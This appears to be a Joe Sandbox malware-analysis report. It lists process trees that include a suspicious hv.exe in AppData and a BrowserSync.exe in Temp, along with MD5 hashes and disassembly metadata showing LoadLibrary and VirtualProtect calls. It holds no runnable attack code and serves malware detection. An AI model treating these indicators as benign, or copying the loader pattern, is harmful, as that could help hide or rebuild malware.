Commandline:	C:\Windows\SysWOW64\cmd.exe
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:40:06
Start date:	09/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:40:32
Start date:	09/01/2025
Path:	C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe"
Imagebase:	0x770000
File size:	9'094'368 bytes
MD5 hash:	480F8CF600F5509595B8418C6534CAF2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	08:40:33
Start date:	09/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\cmd.exe
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: conhost.exePID: 7336, Parent PID: 7324

General

Target ID:	12
Start time:	08:40:33
Start date:	09/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:40:34
Start date:	09/01/2025
Path:	C:\Users\user\AppData\Local\Temp\BrowserSync.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\BrowserSync.exe
Imagebase:	0x140000000
File size:	2'364'728 bytes
MD5 hash:	967F4470627F823F4D7981E511C9824F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	08:40:52
Start date:	09/01/2025
Path:	C:\Users\user\AppData\Local\Temp\BrowserSync.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\BrowserSync.exe
Imagebase:	0x140000000
File size:	2'364'728 bytes
MD5 hash:	967F4470627F823F4D7981E511C9824F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	08:40:56
Start date:	09/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default"
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	08:40:57
Start date:	09/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	08:40:57
Start date:	09/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2060,i,4060890081316358745,17659555323180037,262144 /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	08:40:57
Start date:	09/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2452 --field-trial-handle=2072,i,13775709642536999641,8096999334650349203,262144 /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	08:41:01
Start date:	09/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6492 --field-trial-handle=2072,i,13775709642536999641,8096999334650349203,262144 /prefetch:8
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	08:41:01
Start date:	09/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6516 --field-trial-handle=2072,i,13775709642536999641,8096999334650349203,262144 /prefetch:8
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	08:41:03
Start date:	09/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6952 --field-trial-handle=2072,i,13775709642536999641,8096999334650349203,262144 /prefetch:8
Imagebase:	0x7ff7b4ca0000
File size:	1'255'976 bytes
MD5 hash:	76C58E5BABFE4ACF0308AA646FC0F416
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	08:41:03
Start date:	09/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6952 --field-trial-handle=2072,i,13775709642536999641,8096999334650349203,262144 /prefetch:8
Imagebase:	0x7ff7b4ca0000
File size:	1'255'976 bytes
MD5 hash:	76C58E5BABFE4ACF0308AA646FC0F416
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	08:41:16
Start date:	09/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	08:41:17
Start date:	09/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=2088,i,11994368559389656704,12979874905001727218,262144 /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	08:41:24
Start date:	09/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	08:41:24
Start date:	09/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=2072,i,8788346305401672890,7496721526284428012,262144 /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	08:41:57
Start date:	09/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6792 --field-trial-handle=2072,i,13775709642536999641,8096999334650349203,262144 /prefetch:8
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	1.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	14.9%
Total number of Nodes:	1271
Total number of Limit Nodes:	1

Executed Functions

Function 6C9322B2 Relevance: 10.8, APIs: 7, Instructions: 298
memoryfilelibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 6C9322D0
LocalAlloc.KERNELBASE(?,?), ref: 6C932328
CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000), ref: 6C93240D
ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 6C932485
LoadLibraryA.KERNELBASE(?), ref: 6C93253F
VirtualProtect.KERNELBASE(?,?,?,?), ref: 6C9325B0
VirtualProtect.KERNELBASE(?,?,?,?), ref: 6C9325D7

Memory Dump Source

Source File: 00000002.00000002.1736167643.000000006C931000.00000020.00000001.01000000.00000004.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1736079715.000000006C930000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CB9A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBA4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBAF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBB6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBBA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCF9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCFF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD3C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745188618.000000006CD6F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745228849.000000006CD73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745266317.000000006CD7B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745293698.000000006CD7F000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745319512.000000006CD80000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_hv.jbxd

Similarity

API ID: FileProtectVirtual$AllocCreateHandleLibraryLoadLocalModuleRead
String ID:
API String ID: 1028030788-0
Opcode ID: 80652c824fd30b8034e2bc5e965ceaa0f926396f72a3affda75fa3c5d786d570
Instruction ID: fbcb73934585dfad35ba1b4960bfe2ac9c8535788768f4d067f51943bb73d3db
Opcode Fuzzy Hash: 80652c824fd30b8034e2bc5e965ceaa0f926396f72a3affda75fa3c5d786d570
Instruction Fuzzy Hash: FBD1BAB5A00248DFCB18CF68C994AAA7BF5BF98304F248259FD198B356D731E841CF90

Non-executed Functions

Function 6CB969AA Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1473COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 6CB96BC1

Strings

1#QNAN, xrefs: 6CB96ABD
1#SNAN, xrefs: 6CB96AB6
1#INF, xrefs: 6CB96AE0
1#IND, xrefs: 6CB96AAF

Memory Dump Source

Source File: 00000002.00000002.1736167643.000000006C931000.00000020.00000001.01000000.00000004.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1736079715.000000006C930000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CB9A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBA4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBAF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBB6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBBA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCF9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCFF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD3C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745188618.000000006CD6F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745228849.000000006CD73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745266317.000000006CD7B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745293698.000000006CD7F000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745319512.000000006CD80000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_hv.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: f1c21758f3f888b22f81495376bc729e45f70031b563001b1ba1ed1068424da5
Instruction ID: 8c73bb10f8500f9498a7472b0337532fdb5cf8eca8ef6fdfbb63dc490e419115
Opcode Fuzzy Hash: f1c21758f3f888b22f81495376bc729e45f70031b563001b1ba1ed1068424da5
Instruction Fuzzy Hash: 87D23871E096688FDB65CE28CD407DAB7F5EB46308F1441EAD40DE7640EB78AE858F81

Function 6CA0D760 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 385
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FPDFAnnot_HasAttachmentPoints.IEPDF32(?), ref: 6CA0D777

Part of subcall function 6CA0CEE0: FPDFAnnot_GetSubtype.IEPDF32(?,?,?,?,?,?,?,?,00000000,?,?,?,?,?,?), ref: 6CA0CEEB

FPDFAnnot_HasAttachmentPoints.IEPDF32(?), ref: 6CA0D80A
FPDFAnnot_HasAttachmentPoints.IEPDF32(00000000,?,?,Rect), ref: 6CA0D915

Strings

Rect, xrefs: 6CA0D8F7, 6CA0DAD0
BBox, xrefs: 6CA0D98A, 6CA0DA00

Memory Dump Source

Source File: 00000002.00000002.1736167643.000000006C931000.00000020.00000001.01000000.00000004.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1736079715.000000006C930000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CB9A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBA4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBAF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBB6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBBA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCF9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCFF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD3C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745188618.000000006CD6F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745228849.000000006CD73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745266317.000000006CD7B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745293698.000000006CD7F000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745319512.000000006CD80000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_hv.jbxd

Similarity

API ID: Annot_$AttachmentPoints$Subtype
String ID: BBox$Rect
API String ID: 2680163206-3854271352
Opcode ID: 7086ecd1dc93f807fe3315620b1bbaa995921f94006564709747673dd214120b
Instruction ID: df6b06d809fedcd175443d123c3e1fbaa66e1545f72a977073086a564d8922a8
Opcode Fuzzy Hash: 7086ecd1dc93f807fe3315620b1bbaa995921f94006564709747673dd214120b
Instruction Fuzzy Hash: 34C1E876F016199FDB00CF65D880AAEB7B5FF8979CF140518E919ABB40DB30E949C7A0

Function 6CB8DE97 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLocaleInfoW.KERNEL32(0000009D,2000000B,00000000,00000002,00000000,?,?,?,6CB8D84D,?,00000000), ref: 6CB8DF30
GetLocaleInfoW.KERNEL32(0000009D,20001004,00000000,00000002,00000000,?,?,?,6CB8D84D,?,00000000), ref: 6CB8DF59
GetACP.KERNEL32(?,?,6CB8D84D,?,00000000), ref: 6CB8DF6E

Strings

OCP, xrefs: 6CB8DEEB
ACP, xrefs: 6CB8DEB5

Memory Dump Source

Source File: 00000002.00000002.1736167643.000000006C931000.00000020.00000001.01000000.00000004.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1736079715.000000006C930000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CB9A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBA4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBAF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBB6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBBA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCF9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCFF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD3C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745188618.000000006CD6F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745228849.000000006CD73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745266317.000000006CD7B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745293698.000000006CD7F000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745319512.000000006CD80000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_hv.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 45f491852fa38b0fbe3167c717aeea22b1c61161c0d65501a319bc7931f73e43
Instruction ID: f974947d5a3c6eb19b4dda16c3ee61286480f11b390a13beade46eaa12ec26ce
Opcode Fuzzy Hash: 45f491852fa38b0fbe3167c717aeea22b1c61161c0d65501a319bc7931f73e43
Instruction Fuzzy Hash: DE210322746182EAEF15CF75E800B8B73B6EF51B68F5A4127E909D7A00E732DE40D361

Function 6CB8D717 Relevance: 7.7, APIs: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6CB88D0A: GetLastError.KERNEL32(00000000,?,6CB84B09), ref: 6CB88D0E
Part of subcall function 6CB88D0A: SetLastError.KERNEL32(00000000,?,?,00000028,6CB82020), ref: 6CB88DB0

GetUserDefaultLCID.KERNEL32(?,?,?), ref: 6CB8D81F
IsValidCodePage.KERNEL32(00000000), ref: 6CB8D85D
IsValidLocale.KERNEL32(?,00000001), ref: 6CB8D870
GetLocaleInfoW.KERNEL32(?,00001001,?,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 6CB8D8B8
GetLocaleInfoW.KERNEL32(?,00001002,?,00000040), ref: 6CB8D8D3

Memory Dump Source

Source File: 00000002.00000002.1736167643.000000006C931000.00000020.00000001.01000000.00000004.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1736079715.000000006C930000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CB9A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBA4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBAF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBB6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBBA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCF9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCFF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD3C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745188618.000000006CD6F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745228849.000000006CD73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745266317.000000006CD7B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745293698.000000006CD7F000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745319512.000000006CD80000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_hv.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 4836bd83c789724f3b7b25e684365506e7f2a1e9fd43eda74abfb221c05dd42b
Instruction ID: 80af8b366110e60b99a03c601f6fd5c52c9f08b8e62f21519ca8e886c7e95dfd
Opcode Fuzzy Hash: 4836bd83c789724f3b7b25e684365506e7f2a1e9fd43eda74abfb221c05dd42b
Instruction Fuzzy Hash: 23516E71A02257ABEF10DFB5EC80AAE77B8FF19305F54052BE910E7590E7709944CB62

Function 6CB74040 Relevance: 6.5, APIs: 4, Instructions: 455
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.1736167643.000000006C931000.00000020.00000001.01000000.00000004.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1736079715.000000006C930000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CB9A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBA4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBAF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBB6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBBA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCF9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCFF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD3C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745188618.000000006CD6F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745228849.000000006CD73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745266317.000000006CD7B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745293698.000000006CD7F000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745319512.000000006CD80000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_hv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e556f8eadd521b30a6fb6d07d695babaf2ef8fdde6a066322799f995e854dc82
Instruction ID: 326de143296250e6b8a56e9f97d7265b058490e29362b697ebb98d6d350dcdc7
